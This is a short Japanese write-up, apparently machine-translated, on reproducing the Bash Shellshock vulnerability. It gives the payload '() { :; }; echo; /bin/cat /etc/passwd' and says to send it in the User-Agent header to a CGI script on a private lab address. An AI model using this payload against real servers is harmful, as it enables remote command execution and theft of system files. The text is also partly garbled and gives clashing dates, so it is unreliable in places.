Bourne Again Shell (略して BASH) は、GNU/Linux で最も人気のある SHELL 実装です。1980 年に誕生しました。数十年の進化を経て、単純なターミナル コマンド ライン インタプリタから、 GNU システム 統合された多機能インターフェイス。
Bash、Unix シェルの一種。最初の正式バージョンは 1989 年にリリースされました。当初は GNU オペレーティング システムで使用することが計画されていましたが、これをデフォルトとして使用する Linux や Mac OS X v10.4 を含む、ほとんどの Unix 系オペレーティング システムで実行できます。シェル。また、Microsoft Windows 上の Cygwin および MinGW にも移植されており、MS-DOS 上の DJGPP プロジェクトとしても利用できます。 Novell NetWare および Android にもポートがあります。
現在 Bash で使用されている環境変数は関数名を通じて呼び出されており、「(){」で始まる環境変数がコマンド ENV 内で関数に解析された後、Bash の実行に失敗するという脆弱性が発生します。終了しますが、シェル コマンドの解析と実行は続行します。主な理由は、入力フィルタリングに厳密な境界がなく、合法的なパラメータの判断が行われないことです。
この記事は、脆弱性の再発を記録して実装するだけであり、利用プロセスは次のとおりです:
1. 脆弱性環境
リンク: http://192.168.101.152:8080 /victim.cgi
2.脆弱性ペイロード
() { :; }; echo; /bin/cat /etc/passwd
理論的には、リモート コマンド実行の HTTP リクエストに Bash コマンドを挿入できます
3. プロセス
# を使用してターゲット
## にアクセスします#User-Agent の値をペイロードに置き換えてコマンドを実行します##User-Agent は必須条件ではありません
<br>
以上がbash の脆弱性再発の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。